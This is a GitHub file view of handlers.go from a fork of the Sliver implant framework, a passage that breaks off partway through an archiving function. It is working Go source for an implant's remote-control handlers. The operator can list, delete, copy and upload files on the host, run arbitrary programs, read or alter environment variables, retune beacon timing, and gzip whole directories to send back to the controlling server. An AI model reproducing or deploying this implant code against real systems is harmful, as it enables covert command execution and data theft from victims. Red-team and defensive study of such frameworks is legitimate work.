forked from BishopFox/sliver
/
handlers.go
1110 lines (982 loc) · 27 KB
/
handlers.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
package handlers
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"archive/tar"
"bufio"
"bytes"
"compress/gzip"
"errors"
"fmt"
"io"
"io/fs"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/handlers/matcher"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// RPCResponse - Request/response callback
type RPCResponse func([]byte, error)
// RPCHandler - Request handler
type RPCHandler func([]byte, RPCResponse)
// KillHandler - Handlers that need to interact directly with the transport
type KillHandler func([]byte, *transports.Connection) error
// TunnelHandler - Tunnel related functionality for duplex connections
type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
// -----------------------------------------------------
// -----------------------------------------------------
// -----------------------------------------------------
// --- PURE GO / PLATFORM INDEPENDENT HANDLERS ONLY ---
// -----------------------------------------------------
// -----------------------------------------------------
// -----------------------------------------------------
func pingHandler(data []byte, resp RPCResponse) {
ping := &sliverpb.Ping{}
err := proto.Unmarshal(data, ping)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
// {{if .Config.Debug}}
log.Printf("ping id = %d", ping.Nonce)
// {{end}}
data, err = proto.Marshal(ping)
resp(data, err)
}
func determineDirPathFilter(targetPath string) (string, string) {
// The filter
filter := ""
// The path the filter applies to
path := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if targetPath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(targetPath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = targetPath
path = "."
} else {
// Then we need to test for a filter on the end of the string
// The indices should be the same because we did not change the length of the string
path = targetPath[:lastSeparatorOccurrence+1]
filter = targetPath[lastSeparatorOccurrence+1:]
}
} else {
path = targetPath
// filter remains blank
}
return path, filter
}
func pathIsDirectory(path string) bool {
fileInfo, err := os.Stat(path)
if err != nil {
return false
} else {
return fileInfo.IsDir()
}
}
func dirListHandler(data []byte, resp RPCResponse) {
dirListReq := &sliverpb.LsReq{}
err := proto.Unmarshal(data, dirListReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
// Handle the case where a directory is provided without a trailing separator
var targetPath string
if pathIsDirectory(dirListReq.Path) {
targetPath = dirListReq.Path + "/"
} else {
targetPath = dirListReq.Path
}
path, filter := determineDirPathFilter(targetPath)
dir, files, err := getDirList(path)
// Convert directory listing to protobuf
timezone, offset := time.Now().Zone()
dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
if err == nil {
dirList.Exists = true
} else {
dirList.Exists = false
}
dirList.Files = []*sliverpb.FileInfo{}
var match bool = false
var linkPath string = ""
for _, dirEntry := range files {
if filter == "" {
match = true
} else {
match, err = matcher.Match(filter, dirEntry.Name())
if err != nil {
// Then this is a bad filter, and it will be a bad filter
// on every iteration of the loop, so we might as well break now
break
}
}
if match {
fileInfo, err := dirEntry.Info()
sliverFileInfo := &sliverpb.FileInfo{}
if err == nil {
sliverFileInfo.Size = fileInfo.Size()
sliverFileInfo.ModTime = fileInfo.ModTime().Unix()
/* Send the time back to the client / server as the number of seconds
since epoch. This will decouple formatting the time to display from the
time itself. We can change the format of the time displayed in the client
and not have to worry about having to update implants.
*/
sliverFileInfo.Mode = fileInfo.Mode().String()
// Check if this is a symlink, and if so, add the path the link points to
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
linkPath, err = filepath.EvalSymlinks(path + dirEntry.Name())
if err != nil {
link_str, err := os.Readlink(path + dirEntry.Name())
if err == nil {
linkPath = link_str
} else {
linkPath = ""
}
}
} else {
linkPath = ""
}
sliverFileInfo.Uid = getUid(fileInfo)
sliverFileInfo.Gid = getGid(fileInfo)
}
sliverFileInfo.Name = dirEntry.Name()
sliverFileInfo.IsDir = dirEntry.IsDir()
sliverFileInfo.Link = linkPath
dirList.Files = append(dirList.Files, sliverFileInfo)
}
}
// Send back the response
data, err = proto.Marshal(dirList)
resp(data, err)
}
func getDirList(target string) (string, []fs.DirEntry, error) {
dir, err := filepath.Abs(target)
if err != nil {
// {{if .Config.Debug}}
log.Printf("dir list failed to construct path %s", err)
// {{end}}
return "", nil, err
}
if _, err := os.Stat(dir); !os.IsNotExist(err) {
files, err := os.ReadDir(dir)
return dir, files, err
}
return dir, []fs.DirEntry{}, errors.New("directory does not exist")
}
func rmHandler(data []byte, resp RPCResponse) {
rmReq := &sliverpb.RmReq{}
err := proto.Unmarshal(data, rmReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %s", err)
// {{end}}
return
}
rm := &sliverpb.Rm{}
target, _ := filepath.Abs(rmReq.Path)
rm.Path = target
_, err = os.Stat(target)
if err == nil {
if (target == "/" || target == "C:\\") && !rmReq.Force {
err = errors.New("cowardly refusing to remove volume root without force")
}
}
rm.Response = &commonpb.Response{}
if err == nil {
if rmReq.Recursive {
err = os.RemoveAll(target)
if err != nil {
rm.Response.Err = err.Error()
}
} else {
err = os.Remove(target)
if err != nil {
rm.Response.Err = err.Error()
}
}
} else {
rm.Response.Err = err.Error()
}
data, err = proto.Marshal(rm)
resp(data, err)
}
func mvHandler(data []byte, resp RPCResponse) {
mvReq := &sliverpb.MvReq{}
err := proto.Unmarshal(data, mvReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
move := &sliverpb.Mv{}
err = os.Rename(mvReq.Src, mvReq.Dst)
if err != nil {
move.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(move)
resp(data, err)
}
func cpHandler(data []byte, resp RPCResponse) {
cpReq := &sliverpb.CpReq{}
err := proto.Unmarshal(data, cpReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
copy := &sliverpb.Cp{
Src: cpReq.Src,
Dst: cpReq.Dst,
}
srcFile, err := os.Open(cpReq.Src)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to open source file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
defer srcFile.Close()
dstFile, err := os.Create(cpReq.Dst)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to open destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
defer dstFile.Close()
bytesWritten, err := io.Copy(dstFile, srcFile)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to copy bytes to destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
err = dstFile.Sync()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to sync destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
copy.BytesWritten = bytesWritten
data, err = proto.Marshal(copy)
resp(data, err)
}
func mkdirHandler(data []byte, resp RPCResponse) {
mkdirReq := &sliverpb.MkdirReq{}
err := proto.Unmarshal(data, mkdirReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
mkdir := &sliverpb.Mkdir{}
target, _ := filepath.Abs(mkdirReq.Path)
mkdir.Path = target
err = os.MkdirAll(target, 0700)
if err != nil {
mkdir.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(mkdir)
resp(data, err)
}
func cdHandler(data []byte, resp RPCResponse) {
cdReq := &sliverpb.CdReq{}
err := proto.Unmarshal(data, cdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
resp([]byte{}, err)
return
}
os.Chdir(cdReq.Path)
dir, err := os.Getwd()
pwd := &sliverpb.Pwd{Path: dir}
if err != nil {
resp([]byte{}, err)
return
}
// {{if .Config.Debug}}
log.Printf("cd '%s' -> %s", cdReq.Path, dir)
// {{end}}
data, err = proto.Marshal(pwd)
resp(data, err)
}
func pwdHandler(data []byte, resp RPCResponse) {
pwdReq := &sliverpb.PwdReq{}
err := proto.Unmarshal(data, pwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
resp([]byte{}, err)
return
}
dir, err := os.Getwd()
pwd := &sliverpb.Pwd{Path: dir}
if err != nil {
pwd.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(pwd)
resp(data, err)
}
func helloWorldHandler(data []byte, resp RPCResponse) {
helloworldReq := &sliverpb.HelloWorldReq{}
err := proto.Unmarshal(data, helloworldReq)
if err != nil {
//
log.Printf("error decoding message: %v", err)
//
return
}
//
helloworldResp := &sliverpb.HelloWorld{}
p3 := ""
if helloworldReq.Param3 {
p3 = "FALSE"
} else {
p3 = "TRUE"
}
helloworldResp.Output = fmt.Sprintf("I'm your implant and i received the following:\nparam1: %s\nparam2: %d\nparam3: %s",
helloworldReq.Param1, helloworldReq.Param2, p3)
//log.Printf("ping id = %d", ping.Nonce)
//
data, err = proto.Marshal(helloworldResp)
resp(data, err)
}
func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, int, int, error) {
/*
Combine the path and filter to see if the user wants
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
if err != nil {
// Then we could not read the file
return nil, false, 0, 1, err
} else {
return rawData, false, 1, 0, nil
}
}
// If we are here, then the user wants multiple files (a directory or part of a directory)
var downloadData bytes.Buffer
readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
return downloadData.Bytes(), true, readFiles, unreadableFiles, err
}
// Send a file back to the hive
func downloadHandler(data []byte, resp RPCResponse) {
var rawData []byte
/*
A flag for whether this is a directory - used if
this download is being looted
*/
var isDir bool
var download *sliverpb.Download
downloadReq := &sliverpb.DownloadReq{}
err := proto.Unmarshal(data, downloadReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
resp([]byte{}, err)
return
}
target, _ := filepath.Abs(downloadReq.Path)
if pathIsDirectory(target) {
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
target += "/"
}
path, filter := determineDirPathFilter(target)
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse)
if err != nil {
if isDir {
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
} else {
//{{if .Config.Debug}}
log.Printf("error while preparing download for %s: %v", target, err)
//{{end}}
}
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: int32(readFiles), UnreadableFiles: int32(unreadableFiles)}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
} else {
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, rawData)
download = &sliverpb.Download{
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
ReadFiles: int32(readFiles),
UnreadableFiles: int32(unreadableFiles),
Response: &commonpb.Response{},
}
}
data, _ = proto.Marshal(download)
resp(data, err)
}
func uploadHandler(data []byte, resp RPCResponse) {
uploadReq := &sliverpb.UploadReq{}
err := proto.Unmarshal(data, uploadReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
resp([]byte{}, err)
return
}
uploadPath, err := filepath.Abs(uploadReq.Path)
if err != nil {
// {{if .Config.Debug}}
log.Printf("upload path error: %v", err)
// {{end}}
resp([]byte{}, err)
}
// Process Upload
upload := &sliverpb.Upload{Path: uploadPath}
uploadPathInfo, err := os.Stat(uploadPath)
if err != nil && !os.IsNotExist(err) {
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
}
if !os.IsNotExist(err) && uploadPathInfo.IsDir() {
if !strings.HasSuffix(uploadPath, string(os.PathSeparator)) {
uploadPath += string(os.PathSeparator)
}
uploadPath += uploadReq.FileName
}
f, err := os.Create(uploadPath)
if err != nil {
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
} else {
// Create file, write data to file system
defer f.Close()
var uploadData []byte
var err error
if uploadReq.Encoder == "gzip" {
uploadData, err = gzipRead(uploadReq.Data)
} else {
uploadData = uploadReq.Data
}
// Check for decode errors
if err != nil {
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
} else {
f.Write(uploadData)
}
}
data, _ = proto.Marshal(upload)
resp(data, err)
}
func executeHandler(data []byte, resp RPCResponse) {
var (
err error
stdErr io.Writer
stdOut io.Writer
errWriter *bufio.Writer
outWriter *bufio.Writer
)
execReq := &sliverpb.ExecuteReq{}
err = proto.Unmarshal(data, execReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
execResp := &sliverpb.Execute{}
exePath, err := expandPath(execReq.Path)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
cmd := exec.Command(exePath, execReq.Args...)
if execReq.Output {
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
stdOut = stdOutBuff
if execReq.Stderr != "" {
stdErrFile, err := os.Create(execReq.Stderr)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
defer stdErrFile.Close()
errWriter = bufio.NewWriter(stdErrFile)
stdErr = io.MultiWriter(errWriter, stdErrBuff)
}
if execReq.Stdout != "" {
stdOutFile, err := os.Create(execReq.Stdout)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
defer stdOutFile.Close()
outWriter = bufio.NewWriter(stdOutFile)
stdOut = io.MultiWriter(outWriter, stdOutBuff)
}
cmd.Stdout = stdOut
cmd.Stderr = stdErr
err := cmd.Run()
//{{if .Config.Debug}}
log.Printf("Exec (%v): %s", err, string(stdOutBuff.String()))
//{{end}}
if err != nil {
// Exit errors are not a failure of the RPC, but of the command.
if exiterr, ok := err.(*exec.ExitError); ok {
execResp.Status = uint32(exiterr.ExitCode())
} else {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
}
}
if errWriter != nil {
errWriter.Flush()
}
if outWriter != nil {
outWriter.Flush()
}
execResp.Stderr = stdErrBuff.Bytes()
execResp.Stdout = stdOutBuff.Bytes()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
}
go func() {
cmd.Wait()
}()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
}
func getEnvHandler(data []byte, resp RPCResponse) {
envReq := &sliverpb.EnvReq{}
err := proto.Unmarshal(data, envReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
variables := os.Environ()
var envVars []*commonpb.EnvVar
envInfo := sliverpb.EnvInfo{}
if envReq.Name != "" {
envVars = make([]*commonpb.EnvVar, 1)
envVars[0] = &commonpb.EnvVar{
Key: envReq.Name,
Value: os.Getenv(envReq.Name),
}
} else {
envVars = make([]*commonpb.EnvVar, len(variables))
for i, e := range variables {
pair := strings.SplitN(e, "=", 2)
envVars[i] = &commonpb.EnvVar{
Key: pair[0],
Value: pair[1],
}
}
}
envInfo.Variables = envVars
data, err = proto.Marshal(&envInfo)
resp(data, err)
}
func setEnvHandler(data []byte, resp RPCResponse) {
envReq := &sliverpb.SetEnvReq{}
err := proto.Unmarshal(data, envReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
err = os.Setenv(envReq.Variable.Key, envReq.Variable.Value)
setEnvResp := &sliverpb.SetEnv{
Response: &commonpb.Response{},
}
if err != nil {
setEnvResp.Response.Err = err.Error()
}
data, err = proto.Marshal(setEnvResp)
resp(data, err)
}
func unsetEnvHandler(data []byte, resp RPCResponse) {
unsetEnvReq := &sliverpb.UnsetEnvReq{}
err := proto.Unmarshal(data, unsetEnvReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
err = os.Unsetenv(unsetEnvReq.Name)
unsetEnvResp := &sliverpb.UnsetEnv{
Response: &commonpb.Response{},
}
if err != nil {
unsetEnvResp.Response.Err = err.Error()
}
data, err = proto.Marshal(unsetEnvResp)
resp(data, err)
}
func reconfigureHandler(data []byte, resp RPCResponse) {
reconfigReq := &sliverpb.ReconfigureReq{}
err := proto.Unmarshal(data, reconfigReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
if reconfigReq.ReconnectInterval != 0 {
transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
}
// {{if .Config.IsBeacon}}
if reconfigReq.BeaconInterval != 0 {
transports.SetInterval(reconfigReq.BeaconInterval)
}
if reconfigReq.BeaconJitter != 0 {
transports.SetJitter(reconfigReq.BeaconJitter)
}
// {{end}}
reconfigResp := &sliverpb.Reconfigure{}
data, err = proto.Marshal(reconfigResp)
resp(data, err)
}
// ---------------- Data Encoders ----------------
func gzipWrite(w io.Writer, data []byte) error {
gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
if err != nil {
return err
}
defer gw.Close()
gw.Write(data)
return err
}
func gzipRead(data []byte) ([]byte, error) {
bytes.NewReader(data)
reader, err := gzip.NewReader(bytes.NewReader(data))
if err != nil {
return nil, err
}
var buf bytes.Buffer
_, err = buf.ReadFrom(reader)
if err != nil {
return nil, err
}
return buf.Bytes(), nil
}
func standarizeArchiveFileName(path string) string {
// Change all backslashes to forward slashes
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
/*
Remove the volume / root from the directory
path. This makes it so that files on the
system where the archive is extracted to
will not be clobbered.
Tried with filepath.VolumeName, but that function
does not work reliably with Windows paths
*/
if strings.HasPrefix(standardFilePath, "//") {
// If this a UNC path, filepath.Rel is not going to work
return standardFilePath[2:]
} else {
// Calculate a path relative to the root
pathParts := strings.SplitN(standardFilePath, "/", 2)
if len(pathParts) < 2 {
// Then something is wrong with this path
return standardFilePath
}
basePath := pathParts[0]
fileRelPath := pathParts[1]
if basePath == "" {
// If base path is blank, that means it started with / and / is the root
return fileRelPath
} else {
/*
Then this is almost certainly Windows, and we will set the archive up
so that it preserves the path but without the colon.
Something like:
c/windows/system32/file.whatever
Colons are not legal in Windows filenames, so let's get rid of them.
*/
basePath = strings.ReplaceAll(basePath, ":", "")
basePath = strings.ToLower(basePath)
return basePath + "/" + fileRelPath
}
}
}
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
readFiles := 0
unreadableFiles := 0
var matchingFiles []string
/*
There is an edge case where if you are trying to download a junction on Windows,
you will get access denied
To resolve this, we will resolve the junction or symlink before we do anything.
Even though resolving the symlink first is not necessary on *nix, it does not hurt
and will make it so that we do not have to detect if we are on Windows.
*/
pathInfo, err := os.Lstat(path)
if err != nil {
return readFiles, unreadableFiles, err
}
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
path, err = filepath.EvalSymlinks(path)
if err != nil {
return readFiles, unreadableFiles, err
}
// The path we get back from EvalSymlinks does not have a trailing separator
// Forward slash is fine even on Windows.
path += "/"
}
/*
Build the list of files to include in the archive.
Walking the directory can take a long time and do a lot of unnecessary work
if we do not need to recurse through subdirectories.
If we are not recursing, then read the directory without worrying about
subdirectories.
*/
if !recurse {
testPath := strings.ReplaceAll(path, "\\", "/")
directory, err := os.Open(path)
if err != nil {
return readFiles, unreadableFiles, err
}
directoryFiles, err := directory.Readdirnames(0)
directory.Close()
if err != nil {
return readFiles, unreadableFiles, err
}
for _, fileName := range directoryFiles {
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
if filter != "" {
match, err := matcher.Match(testPath+filter, standardFileName)
if err == nil && match {
matchingFiles = append(matchingFiles, standardFileName)
}
} else {
matchingFiles = append(matchingFiles, standardFileName)
}
}
} else {
filepath.WalkDir(path, func(file string, d os.DirEntry, err error) error {
filePath := strings.ReplaceAll(file, "\\", "/")
if filter != "" {
// Normalize paths
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
match, matchErr := matcher.Match(testPath+filter, filePath)
if !match || matchErr != nil {
// If there is an error, it is because the filter is bad, so it is not a match
return nil
}
matchingFiles = append(matchingFiles, file)
} else {
matchingFiles = append(matchingFiles, file)
}
return nil
})
}
for _, file := range matchingFiles {
fi, err := os.Stat(file)
if err != nil {
// Cannot get info on the file, so skip it
unreadableFiles += 1
continue